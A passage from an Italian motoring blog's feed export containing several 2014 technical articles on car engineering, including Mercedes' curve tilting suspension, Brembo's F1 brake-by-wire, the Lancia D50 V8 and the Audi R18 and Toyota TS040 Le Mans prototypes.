<p style="text-align: justify;">Una piccola curiosità sono le alette direzionali che si trovano nella parte anteriore dell&#8217;alettone davanti alla ruota. C&#8217;è nel piccolo riquadro una foto della soluzione Mercedes, ebbene la McLaren sembra che abbia copiato in toto il tipo e la forma delle alette per direzionare il flusso aria davanti alla ruota che limiterebbe l&#8217;efficienza aerodinamica. Un piccolo segno di umiltà che porta a copiare i migliori pur di avere un vantaggio in termini di competitività.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Mercedes curva come una moto con il Curve Tilting Function</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 24 Jun 2014 14:23:09 +0000</pubDate>
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		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Come da sempre la Mercedes introduce ogni qualvolta rinnova la sua gamma di lusso un concetto di sicurezza nuovo che sarà scuola per tutti i costruttori. La nuova Classe S Coupé non fa eccezione a questa regola. Per migliorare la tenuta di strada in curva la Mercedes adotta un sistema che fa si che la [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/1059905_2109921_1024_683_14C420_26.jpg"><img decoding="async" class="alignnone size-full wp-image-41172" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/1059905_2109921_1024_683_14C420_26.jpg" alt="1059905_2109921_1024_683_14C420_26" width="500" height="333" title="Mercedes curva come una moto con il Curve Tilting Function 1213" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/06/1059905_2109921_1024_683_14C420_26.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/06/1059905_2109921_1024_683_14C420_26-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">Come da sempre la Mercedes introduce ogni qualvolta rinnova la sua gamma di lusso un concetto di sicurezza nuovo che sarà scuola per tutti i costruttori. La nuova Classe S Coupé non fa eccezione a questa regola. Per migliorare la tenuta di strada in curva la Mercedes adotta un sistema che fa si che la sua Classe S Coupé si comporti come se fosse una moto. Riesce in tale intendo usando il nuovo sistema <strong>curve tilting function</strong><strong> </strong>ovvero <strong> </strong>di inclinazione vettura in  curva. Il sistema fa la sua comparsa per la prima volta  mondiale per vetture una vettura di serie. In sostanza il veicolo si appoggia in curva sfruttando la tecnica che usano motociclisti e sciatori migliorando l&#8217;agilità la tenuta e il comfort nonostante la mole impressionante del veicolo in questione.</p>
<p style="text-align: justify"><span><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/441712_728958_300_399_356467a2001f5110.jpg"><img decoding="async" class="alignleft size-full wp-image-41173" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/441712_728958_300_399_356467a2001f5110.jpg" alt="441712_728958_300_399_356467a2001f5110" width="300" height="399" title="Mercedes curva come una moto con il Curve Tilting Function 1214"></a>L&#8217;accelerazione laterale che agisce sui passeggeri viene ridotta al minimo per massimizzare il confort<span>. Il sistema è particolarmente efficacie sulle </span><span>strade di campagna, la nuova  </span><strong>curve tilting function</strong> è parte integrante dell&#8217;<strong> </strong> Active Body Control (ABC), il sistema che gestisce le  sospensione  che oltre al confort aumenta anche il piacere di guida. <span>L&#8217;obiettivo non è quello di raggiungere maggiori velocità in curva, ma fornire una nuova esperienza di guida facendo si che nuova  la Classe S Coupé scorre elegantemente in curva. </span>Con la funzione <strong>curve tilting function</strong>, gli attacchi delle molle in acciaio integrati nei bracci della sospensione ABC vengono sollevate mediante appositi pistoni su un lato del veicolo, e abbassati dall&#8217;altro, a seconda della curva che si deve affrontare. Questo permette al veicolo di inclinarsi in modo automatico e continuo anche per  frazioni di secondo, il tutto considerato il  raggio di curvatura e la velocità del veicolo. Il pilota e i passeggeri avvertono in modo particolare l&#8217;effetto  in quanto il veicolo normalmente tenderebbe ad inclinarsi verso l&#8217;esterno mentre in questo caso piega verso l&#8217;interno curva come una moto.  </span>Questo innovativo sistema riconosce  la tipologia di curve con l&#8217;aiuto della telecamera stereo posizionata dietro il parabrezza, che registra  il tipo di superficie stradale fino a 15 metri prima che sopraggiunga, e utilizzando un sensore di accelerazione laterale supplementare istallato nella sospensione ABC aiuta a capire di quanto il veicolo debba inclinarsi. La funzione <strong>curve tilting function</strong> di  può essere selezionata con l&#8217;interruttore ABC mediante tre stadi. C&#8217;è la  modalità &#8220;Curve&#8221; che si  attiva per una  gamma di velocità tra 15-180 km / h. Poi ci sono <span style="color: #606061">altre modalità selezionabili come  &#8220;Comfort&#8221; utilizzando anche il MAGIC BODY CONTROL con MANTO STRADALE SCAN che visiona lo stato del manto stradale adattando la rigidezza delle sospensioni per il massimo confort e infine  &#8220;Sport&#8221; per i clienti più dinamici ed esigenti. </span></p>
<p style="text-align: justify"><span><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/1059907_2109927_1024_683_14C421_101.jpg"><img decoding="async" class="alignleft size-full wp-image-41174" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/1059907_2109927_1024_683_14C421_101.jpg" alt="1059907_2109927_1024_683_14C421_101" width="500" height="333" title="Mercedes curva come una moto con il Curve Tilting Function 1215" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/06/1059907_2109927_1024_683_14C421_101.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/06/1059907_2109927_1024_683_14C421_101-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>L&#8217;innovativa  <strong>curve tilting function </strong>è disponibile in combinazione con il sistema di sospensione MAGIC BODY CONTROL optional su tutta la gamma Classe S Coupè e  per i modelli a trazione posteriore. <span>In combinazione con 4MATIC trazione integrale, la Classe S Coupé offre il completo le  sospensioni pneumatiche AIRMATIC con il adattivo ADS smorzamento del sistema PLUS, più adatto al comportamento e al carattere sportivo di questa vettura.  </span></span>Visto che lo abbiamo accennato  la  Classe S, e la  nuova Classe S Coupé è anche in grado di riconoscere ondulazioni superficiali in anticipo quando è dotata del  MAGIC BODY CONTROL. In combinazione con SUPERFICIE STRADALE SCAN rileva le ondulazioni con l&#8217;aiuto della telecamera stereo, MAGIC BODY CONTROL regola la sospensione  anticipando la buca,  utilizzando l&#8217;idraulica attiva delle sospensioni per aumentare o diminuire il carico su ogni singola ruota. La sospensione si adatta ad ogni situazione  in frazioni di secondo, consentendo movimenti del telaio ridotti al minimo per evitare ogni tipo di scossone ai passeggeri. Il risultato è un comfort di guida impeccabile. Anche il  SUPERFICE STRADALE SCAN è basato su telecamera, funziona di giorno, con una buona visibilità, con strutture superficiali non sterrate o disastrate ad una velocità fino a 130 km / h quindi non può fare miracoli su alcune tipologie di strade di casa nostra. La fotocamera stereo della SUPERFICIE STRADALE SCAN controlla  fino a 15 metri prima, e fornisce un&#8217;immagine precisa dei contorni della superficie stradale. Usando le immagini della telecamera e le informazioni sulle condizione di marcia del veicolo, la centralina calcola continuamente la migliore strategia di controllo per far fronte a tratti irregolari come lunghe ondulazioni.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>I segreti del sistema frenante Brembo per la Formula Uno</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 08 Jun 2014 08:27:51 +0000</pubDate>
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					<description><![CDATA[<p>La Brembo ci aiuta a capire meglio il nuovo sistema frenante delle Formula 1 2014 con un bel video esplicativo. Da questa stagione infatti è stato adottato il sistema Brake by Wire. In sostanza si tratta della frenata controllata non mediante il solito impianto frenante azionato idraulicamente dall&#8217;azione del pedale del freno, ma quest&#8217;ultimo è vincolato [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/06/maxresdefault.jpg"><img decoding="async" class="alignnone size-full wp-image-40611" src="https://www.giornalemotori.com/wp-content/uploads//2014/06/maxresdefault.jpg" alt="maxresdefault" width="500" height="281" title="I segreti del sistema frenante Brembo per la Formula Uno 1217" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/06/maxresdefault.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/06/maxresdefault-300x169.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">La Brembo ci aiuta a capire meglio il nuovo sistema frenante delle Formula 1 2014 con un bel video esplicativo. Da questa stagione infatti è stato adottato il sistema <strong>Brake by Wire. </strong>In sostanza si tratta della frenata controllata non mediante il solito impianto frenante azionato idraulicamente dall&#8217;azione del pedale del freno, ma quest&#8217;ultimo è vincolato ad un sistema elettronico che aziona i freni in  base alla spinta e la posizione del pedale senza collegamento diretto meccanico.</p>
<p style="text-align: justify">Nel video si vede chiaramente come la Brembo l&#8217;azienda italiana leader per gli impianti frenanti spiega come è cambiato il modo di frenare in formula 1. Il sistema infatti ora è di tipo misto, mentre all&#8217;anteriore si frena ancora con i classici dischi e pasticche con la pompa che comprime olio, al posteriore dove c&#8217;è l&#8217;azione del ERS-K viene messa in ballo la parte più elettronica. Infatti il sistema deve gestire la parte frenante classica più quella elettronica del sistema di recupero energia. Il tutto regolato e gestito sia dai tecnici ai box che dal pilota in vettura mediante i comandi sul volante.</p>
<p style="text-align: justify">Un sistema che ancora una volta vede impegnata la Brembo nell&#8217;essere l&#8217;azienda prima nel mondo dal punto di vista dello sviluppo tecnologico che sarà direttamente ponte per la futura produzione di serie, compito che da sempre è stato demandato alla massima serie del motorismo.</p>
<p style="text-align: center">[youtube]https://www.youtube.com/watch?v=FmCuReJWVk0[/youtube]</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>Jaguar e Land Rover con il Multiair Fiat per il prossimo futuro</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 22 May 2014 17:08:47 +0000</pubDate>
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		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La Jaguar e la Land Rover da molti anni ormai fanno parte del colosso indiano Tata. Il costruttore indiano però ha dovuto trovare un accordo con la vecchia proprietà, la Ford, sfruttando le piattaforme progettuali e i motori per avere il tempo di creare qualcosa di nuovo con cui far camminare i due marchi inglesi [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/05/cq5dam.web_.1280.12803.jpeg"><img decoding="async" class="alignnone size-full wp-image-39967" src="https://www.giornalemotori.com/wp-content/uploads//2014/05/cq5dam.web_.1280.12803.jpeg" alt="cq5dam.web.1280.1280" width="570" height="382" title="Jaguar e Land Rover con il Multiair Fiat per il prossimo futuro 1221" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/05/cq5dam.web_.1280.12803.jpeg 570w, https://www.giornalemotori.com/wp-content/uploads/2014/05/cq5dam.web_.1280.12803-300x201.jpeg 300w" sizes="(max-width: 570px) 100vw, 570px" /></a></p>
<p style="text-align: justify">La Jaguar e la Land Rover da molti anni ormai fanno parte del colosso indiano Tata. Il costruttore indiano però ha dovuto trovare un accordo con la vecchia proprietà, la Ford, sfruttando le piattaforme progettuali e i motori per avere il tempo di creare qualcosa di nuovo con cui far camminare i due marchi inglesi in modo indipendente producendo profitto. Una scommesa fallita dal costruttore americano ma che gli indiani hanno raccolto con entusiasmo.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/05/cq5dam.web_.1280.1280-1.jpeg"><img decoding="async" class="alignleft size-full wp-image-39968" src="https://www.giornalemotori.com/wp-content/uploads//2014/05/cq5dam.web_.1280.1280-1.jpeg" alt="cq5dam.web.1280.1280 (1)" width="570" height="382" title="Jaguar e Land Rover con il Multiair Fiat per il prossimo futuro 1222" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/05/cq5dam.web_.1280.1280-1.jpeg 570w, https://www.giornalemotori.com/wp-content/uploads/2014/05/cq5dam.web_.1280.1280-1-300x201.jpeg 300w" sizes="(max-width: 570px) 100vw, 570px" /></a> A colpi di miglioramento della qualità, e attraverso una durissima opera di riqualificazione dell&#8217;immagine opacizzata dei due marchi, oggi la Tata è in grado di dare la possibilità ai tecnici inglesi di Jaguar e Land Rover di progettare una linea di prodotti inediti dal design veramente accattivante tecnologicamente all&#8217;avanguardia e che nulla hanno a che invidiare alla migliore produzione tedesca del settore premium sia berline che sportive che soprattutto SUV.  La prima piattaforma che vede la luce nel Regno Unito che sarà base si partenza per tutti i modelli attuali e futuri è quella denominata con la sigla di progetto XE. Il nuovo pianale modulare sarà comune a quasi tutti i modelli dei due marchi. Per avere una totale indipendenza costruttiva però necessita che sotto il cofano dei modelli futuri ci siano unità propulsive completamente progettare in Regno Unito. I tecnici inglesi stanno lavorando ad una famiglia di motori che consenta di tagliare il cordone ombelicale che li legava al gruppo Ford e Psa per i motori benzina che diesel.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/05/cq5dam.web_.1280.1280-2.jpeg"><img decoding="async" class="alignleft size-full wp-image-39970" src="https://www.giornalemotori.com/wp-content/uploads//2014/05/cq5dam.web_.1280.1280-2.jpeg" alt="cq5dam.web.1280.1280 (2)" width="570" height="381" title="Jaguar e Land Rover con il Multiair Fiat per il prossimo futuro 1223" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/05/cq5dam.web_.1280.1280-2.jpeg 570w, https://www.giornalemotori.com/wp-content/uploads/2014/05/cq5dam.web_.1280.1280-2-300x201.jpeg 300w" sizes="(max-width: 570px) 100vw, 570px" /></a>In ogni modo,  oggi giorno nessun costruttore per quanto grande e potente economicamente,  riesce con una certa facilità a costruire tutte le componenti in casa. Il grosso delle unità motrici si progetteranno e si realizzeranno in Regno Unito ma c&#8217;è un componente che sarà di fondamentale importanza per questi motori ed è l&#8217;adozione come sistema di alimentazione il Multiair di progettazione Fiat. Infatti l&#8217;obiettivo di ottenere prestazioni esaltanti con consumi ed emissioni in grado di rispettare tutte le normative dei vari paesi del globo, hanno fatto propendere i tecnici Jaguar/Land Rover per il sistema di alimentazione italiano.  Il Multiair in sostanza è un sistema che permette l&#8217;alzata variabile delle valvole con un meccanismo elettroidraulico che permette di avere sempre la migliore fasatura e l&#8217;eliminazione della valvola a farfalla nel collettore di aspirazione con un vantaggio in termini di consumi ed emissioni di notevole importanza. Tale sistema ormai diffuso sulla produzione Fiat dal bicilindrico delle piccole Panda e 500 che sarà  appannaggio dei futuri modelli premium inglesi.</p>
<p style="text-align: justify">Un riconoscimento che fa capire come nonostante la pochezza di mezzi e la fuga di cervelli verso paradisi tecnici più appaganti in Italia l&#8217;automobilismo è tutt&#8217;altro che defunto. La tecnica Italiana continua dopo la creazione a suo tempo sempre da Fiat del Common Rail ad essere un punto di riferimento per tutti i costruttori e i progettisti mondiali di motori.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>History Engine: Il v8 della Ferrari/Lancia D50 F1</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 17 Apr 2014 15:03:44 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Nel 1954 il regolamento del campionato di Formula 1 recitava che i motori potevano essere di 2500 cm3 se aspirati e 750 cm3 se si adottava la sovralimentazione. All&#8217;epoca Vittorio Jano progettava il motore V8 che poi andò ad equipaggiare la Lancia D50.&#160;Questa spettacolare monoposto fu ceduta dome tutti gli appassionati sanno a Ferrari per [&#8230;]</p>
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<figure class="wp-block-image"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/04/images.jpg"><img decoding="async" width="260" height="194" src="https://www.giornalemotori.com/wp-content/uploads//2014/04/images.jpg" alt="images" class="wp-image-37766" title="History Engine: Il v8 della Ferrari/Lancia D50 F1 1224"></a></figure>



<p class="has-text-align-center wp-block-paragraph"></p>



<p class="wp-block-paragraph">Nel 1954 il regolamento del campionato di Formula 1 recitava che i motori potevano essere di 2500 cm3 se aspirati e 750 cm3 se si adottava la sovralimentazione. All&#8217;epoca Vittorio Jano progettava il motore V8 che poi andò ad equipaggiare la Lancia D50.&nbsp;Questa spettacolare monoposto fu ceduta dome tutti gli appassionati sanno a Ferrari per il ritiro della Lancia dai Gran Premi.</p>


<div class="wp-block-image">
<figure class="alignleft"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/04/motore1.gif"><img decoding="async" width="295" height="272" src="https://www.giornalemotori.com/wp-content/uploads//2014/04/motore1.gif" alt="motore1" class="wp-image-37767" title="History Engine: Il v8 della Ferrari/Lancia D50 F1 1225"></a></figure>
</div>


<p class="wp-block-paragraph">La scelta di un V8 aspirato fu alquanto particolare da parte di Vittorio Jano, infatti in passato il progettista italiano si era sempre cimentato con motori sovralimentati, ma nonostante il regolamento di Formula 1 prevedesse un coefficiente di equiparazione tra i due tipi di motore di 3,333:1 che assimilava un 750 sovralimentato ad un aspirato di 2475cm³, Jano optò per il V8 aspirato convinto che la cilindrata di 750 cm³&nbsp;fosse troppo penalizzante. &nbsp;Sotto la direzione di Vittorio Jano l&#8217;ing&nbsp;Ettore Zaccone Mina progettava un V8 con angolo tra le bancate di 90°per una cilindrata complessiva di&nbsp;2485,99&nbsp;cm³ ottenuta con un&nbsp;alesaggio mm 76 e corsa mm 68,5. Per questo motore si fece uso delle leghe leggere più avanzate dell&#8217;epoca per tenere basso il peso. Potrebbe sembrare una scelta logica essendo un motore dedicato alla massima formula dell&#8217;automobilismo,è data dal fatto che il basamento del motore è parte integrante della struttura stessa della macchina, essendo rigidamente connesso con elementi del telaio tubolare, quindi importante era dotarlo di strutture di irrigidimento che consentissero di poter sopportare le sollecitazioni derivanti dagli sforzi di telaio e sospensioni che venivano ancorate al monoblocco.</p>


<div class="wp-block-image">
<figure class="alignleft"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/04/download.jpg"><img decoding="async" width="274" height="184" src="https://www.giornalemotori.com/wp-content/uploads//2014/04/download.jpg" alt="download" class="wp-image-37768" title="History Engine: Il v8 della Ferrari/Lancia D50 F1 1226"></a></figure>
</div>


<p class="wp-block-paragraph">La distribuzione era &nbsp;con quattro albero a camme&nbsp;in testa due per ciascuna bancata, &nbsp;mossi da una cascata di &nbsp;ingranaggi. Particolare &nbsp;attenzione fu riservata al raffreddamento delle valvole di scarico, che sono annegate nel condotto dell’acqua di raffreddamento delle testate. Il comando delle valvole avviene con molle a spillo, mentre i bilancieri per il comando delle valvole &nbsp;sono del tipo a dito.&nbsp;&nbsp;Il sistema di alimentazione fu oggetto di accesa discussione, &nbsp;Jano voleva un sistema classico a carburatori, mentre Zaccone Mina voleva optare per &nbsp;l&#8217;alimentazione ad iniezione diretta. Nonostante gli sforzi di quest&#8217;ultimo spalleggiato da niente di meno che Vincenzo Lancia,&nbsp;&nbsp;alla fine, a prevalere fu l&#8217;idea di usare un sistema di alimentazione&nbsp;tramite quattro carburatori&nbsp;invertiti doppio corpo Solex 40 PIJ. &nbsp;Con il senno di poi, ed il fatto che da li a poco la Mercedes avrebbe vinto in Formula 1 proprio con l&#8217;iniezione diretta possiamo dire che Zaccone Mina era nel giusto. &nbsp;L’accensione aveva un sistema che dopo anni diventa fiore all&#8217;occhiello della produzione di serie dell&#8217;Alfa, l&#8217;accensione a doppia candela&nbsp;per ciascun cilindro detta Twin Spark. Una particolarità di questo motore è il montaggio con una inclinazione di 12° circa rispetto all&#8217;asse longitudinale della vettura, onde far sì che il passaggio dell&#8217;albero di trasmissione avvenga alla sinistra del sedile di guida e consenta l&#8217;abbassamento del sedile stesso.</p>



<p class="wp-block-paragraph">Purtroppo non è facile capire le potenze che derivavano da questi motori di Formula 1 dell&#8217;epoca. &nbsp;Presumibilmente la potenza&nbsp;erogata va da un minimo di 250-255 HP ad un massimo di 265 HP, i regimi di rotazione si collocano tra gli 8.000 ed i 9.000 giri/minuto, il rapporto di compressione varia&nbsp;tra 10,5:1 e 12:1. Come abbiamo detto questo motore si è evoluto sempre restando un V8 a 90° &nbsp;con cilindrate di &nbsp;2485,99&nbsp;cm³ &nbsp;per un alesaggio mm 76,00 e corsa mm 68,50, &nbsp;poi successivamente a &nbsp;2488,02&nbsp;cm³ &nbsp;per un alesaggio mm 73,60 e corsa mm 73,10, &nbsp;una terza evoluzione motore &nbsp;D50A da 2477,29&nbsp;cm³ con alesaggio mm 74,00 e corsa mm 72,00. Questo motore spingeva la&nbsp;&nbsp;D50, nella sua versione più potente e con il rapporto di demoltiplicazione più “lungo” è dell’ordine dei 300&nbsp;km all’ora.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>



<p class="wp-block-paragraph">&nbsp;</p>
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		<title>Audi R18 E-Tron Quattro 2014</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 13 Apr 2014 07:48:52 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Audi Sport&#160;&#160;sostiene, &#160;come del resto i suoi avversari, che &#160;la vettura 2014 è la macchina da corsa più complessa che abbia mai costruito. Così come Toyota e Porsche anche Audi ha cominciato a sviluppare la R18-Etron nel 2012 per essere pronta nel 2014 con le nuove specifiche. A differenza delle avversarie, &#160;la casa degli anelli [&#8230;]</p>
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<p class="wp-block-paragraph">Audi Sport&nbsp;&nbsp;sostiene, &nbsp;come del resto i suoi avversari, che &nbsp;la vettura 2014 è la macchina da corsa più complessa che abbia mai costruito. Così come Toyota e Porsche anche Audi ha cominciato a sviluppare la R18-Etron nel 2012 per essere pronta nel 2014 con le nuove specifiche.</p>



<p class="wp-block-paragraph">A differenza delle avversarie, &nbsp;la casa degli anelli non ha deciso di usare le due power unit elettriche ma di usare il classico schema alimentazione elettrica all&#8217;asse anteriore ricaricando l&#8217;energia con il &nbsp;volano come accadeva sui modelli precedenti. &nbsp;In questo modo l&#8217;Audi può immaginare soltanto&nbsp;&nbsp;4MJ/lap a Le Mans a fronte dei 6MJ della Toyota e gli 8MJ della Porsche. Per Audi è più importante usare sistemi collaudati e sicuramente affidabili dovendo fare gare di tipo endurance.</p>



<p class="wp-block-paragraph">Novità importantissima per Audi è il passaggio per il telaio da Dallara alla Ycom, con un lavoro incessante e certosino per portare il nuovo telaio al limite di peso di &nbsp;870kg per una vettura ibrida. L&#8217;idea è quella di ottenere gli stessi tempi delle passate edizioni consumando meno, ottimizzando quello che già c&#8217;era di buono e puntare sull&#8217;affidabilità.&nbsp;&nbsp;Il motore V6 Turbodiesel è completamente nuovo. L&#8217;Audi ha ridisegnato il motore sfruttando qualche libertà di progettazione che concede il regolamento 2014.</p>



<p class="wp-block-paragraph">Tutto nell&#8217;ottica di tenere il peso basso il più possibile, ma senza compromettere l&#8217;affidabilità del componente più importante per l&#8217;auto. &nbsp;Con la riprogettazione completa del motore si è trovato il modo per fare a meno di concentrarsi troppo sulla &nbsp;MGU-H . Il funzionamento è simile alla versione LMP1 del 2013 e la gestione è affidata parte al comando del pilota nell&#8217;utilizzo della potenza aggiuntivo, parte alla gestione elettronica automatica a &nbsp;seconda delle necessità.</p>



<p class="wp-block-paragraph">Il sistema di recupero di energia utilizzando il classico volano che attualmente soddisfa le esigenze dei tecnici Audi. La filosofia costruttiva è del quello che non c&#8217;è non si rompe. Per risparmiare peso ed energia l&#8217; Audi ha migliorato anche &nbsp;il suo sistema di luce sulla nuova &nbsp;R18 e ha introducendo un sistema di &nbsp;laser in aggiunta ai LED che sono diventati spettacolarmente tipici delle Audi in pista. Una tecnologia a retroilluminazione con fascio laser blu mediante una lente di cristallo a fosforo giallo attraverso il quale il fascio di luce viene poi emessa. Questa nuova tecnologia di illuminazione Audi sarà sicuramente copiata anche da altri a Le Mans. La luce laser &nbsp;apre nuove possibilità per i &nbsp;modelli di serie in futuro.</p>



<p class="wp-block-paragraph">La &nbsp;R18, giunge alla terza edizione in versione &nbsp;LMP1, un evoluzione che dura da tre anni e che &nbsp;non porta cambiamenti nel nome. La verità è che forse ci sono problemi di diritti sui nomi R19 a R20. &nbsp;Il&nbsp;&nbsp;TDI V6 portato a 4.0 litri ma completamente diverso dal precedente. Sull&#8217;asse anteriore è montato un &nbsp;motore elettrico, questo funge da MGU ricaricando e fornendo anche potenza aggiuntiva.</p>



<p class="wp-block-paragraph">La gestione del Turbo è molto simile nel posizionamento &nbsp;e nel funzionamento ai &nbsp;sistemi sulle vetture da F1 essendo posizionato tra le bancate e collegato ad una unità elettrica. &nbsp;Questa unità invia energia &nbsp;sempre mediante il volano, tra l&#8217;altro migliorato nell&#8217;efficienza. Abbiamo già detto che preferendo di usare più motore endotermico costringe la R18 a non poter immagazzinare e riutilizzare come trazione Quattro che 4MJ di energia</p>



<p class="wp-block-paragraph">Come nel modello della passata stagione c&#8217;è &nbsp;motore-generatore-Unit (MGU) anteriore &nbsp;che durante le frenate recupera energia. C&#8217;è un ulteriore recupero attraverso &nbsp; il turbocompressore che viene collegato ad un motore elettrico. &nbsp;Quando il turbo raggiunge il suo limite di pressione l&#8217;eccedenza di potenza alimenta il volano immagazzinando &nbsp;altra energia .</p>



<p class="wp-block-paragraph">Quando si accelera, l&#8217;energia immagazzinata può o rifluire al MGU sull&#8217;asse anteriore migliorando la trazione, &nbsp;oppure all&#8217;occorrenza restituirla al &nbsp;turbocompressore aumentando la spinta, &nbsp;seconda della strategia di funzionamento.   In termini aerodinamici &nbsp;migliorare l&#8217; efficienza è la chiave per la nuova R18, l&#8217;intera macchina è per regolamento &nbsp;100 mm più stretta con pneumatici più piccoli, questa porta ad una significativa riduzione della resistenza aerodinamica. Ma l&#8217;altezza della vettura deve essere aumentata ad un minimo di 1.050 millimetri, 20 millimetri più alta rispetto a prima, e &nbsp;abitacolo deve essere più grande. L&#8217;Audi a questo proposito ha realmente alzato il cupolino e non usato trucchi tipo appendici sul tetto.</p>



<p class="wp-block-paragraph">Per quanto riguarda la progettazione del frontale, gli ingegneri Audi hanno rifatto quasi tutto da zero.&nbsp;Invece di un semplice splitter ora c&#8217;è una vera e propria ala anteriore con un nuovo splitter modificato secondo le nuove specifiche regolamentari. &nbsp;Questo promette vantaggi aerodinamici riducendo i costi e aumentando la funzionalità, in quanto questa parte della carrozzeria si presta a facili modifiche per soddisfare le esigenze di carico nelle varie piste del mondiale, senza dover fare più versioni del cofano anteriore. &nbsp;Dopo le restrizioni sui diffusori ora gli scarichi &nbsp;escono sulla mezzeria vettura.&nbsp;Si ritiene che Audi ha ritrovato un modo per ottimizzare i gas di scarico, per migliorare la penetrazione aerodinamica più che il carico.&nbsp;<span style="line-height: 1.5em;"><br></span></p>



<p class="wp-block-paragraph">Il telaio stesso deve essere più resistente per essere in grado di sopportare carichi elevati. Sono stati apportati rinforzi dove previsto dalle nuove norme per la protezione dei piloti .L&#8217;R18 è contraddistinta da un particolare foro di raffreddamento &nbsp; appena dietro l&#8217;abitacolo del pilota la cui funzione ancora ci è oscura.&nbsp;È stato ampiamente notato che la parte anteriore della monoscocca è molto più stretta e più vita bassa di quella della vettura 2013.&nbsp;Questa sezione della vettura ospita anche il motore anteriore, a giudicare dalle dimensioni dei semiassi si tratta di una unità elettrica più grande e &nbsp;più potente di quello utilizzato nel 2013 .</p>



<p class="wp-block-paragraph">disegni &nbsp;di&nbsp;http://lemansprototypes.over-blog.it/</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Toyota Ts040, Analisi tecnica</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 12 Apr 2014 07:21:19 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La Toyota ha cominciato nel 2012 a sviluppare la sua LMP1 che correrà nel campionato mondiale endurance mentre già correva nel WEC. Quindi da anni sta progettando la TS040 HYBRID per le nuove specifiche che da quest&#8217;anno l&#8217;ACO ha impostato per la 24H di Le Mans. L&#8217;aerodinamica e il telaio della TS040 HYBRID è una [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">La Toyota ha cominciato nel 2012 a sviluppare la sua LMP1 che correrà nel campionato mondiale endurance mentre già correva nel WEC. Quindi da anni sta progettando la TS040 HYBRID per le nuove specifiche che da quest&#8217;anno l&#8217;ACO ha impostato per la 24H di Le Mans.</p>



<p class="wp-block-paragraph">L&#8217;aerodinamica e il telaio della TS040 HYBRID è una evoluzione diretta dell&#8217;esperienza che si è maturata sul campo con la &nbsp;TS030 HYBRID, considerando ovviamente il cambio regolamentare delle dimensioni e delle specifiche 2014. &nbsp;La vettura è &nbsp;ora 10 centimetri più stretta, con &nbsp;pneumatici &nbsp;più stretti. Si sono dovuti introdurre nuovi elementi di sicurezza quali attacchi delle ruote, una struttura di protezione dagli urti, nuovi criteri &nbsp;per la visibilità del conducente e il rafforzamento delle protezioni per l&#8217;impatto laterale.</p>



<p class="wp-block-paragraph">La sfida principale è stata quella di progettare una macchina con un sistema &nbsp;ibrido &nbsp;più complesso del passato, per aumentare la potenza del sistema &nbsp;con un minor peso, &nbsp;ridotto di &nbsp;45kg. I tecnici Toyota hanno utilizzato materiali leggeri e processi di ottimizzazione della progettazione più efficienti. Il propulsore sarà un V8 aspirato supportato da sistema di recupero dell&#8217;energia cinetica.</p>



<p class="wp-block-paragraph">Il motore a benzina è stato progettato per massimizzare l&#8217;efficienza del carburante, &nbsp;mentre il sistema ibrido ha subito un raddoppio quasi della potenza disponibile. Il consumo del motore a benzina ha un importanza rilevante per la TS040 Hybrid. La prestazione sul giro sarà frutto della combinazione del sistema ibrido, unito all&#8217; efficienza aerodinamica e &nbsp;l&#8217; utilizzo delle gomme. &nbsp;Bisogna considerare che da quest&#8217;anno il quantitativo del flusso di carburante è controllato come avviene un F1 mediante una unità di controllo della Fia</p>



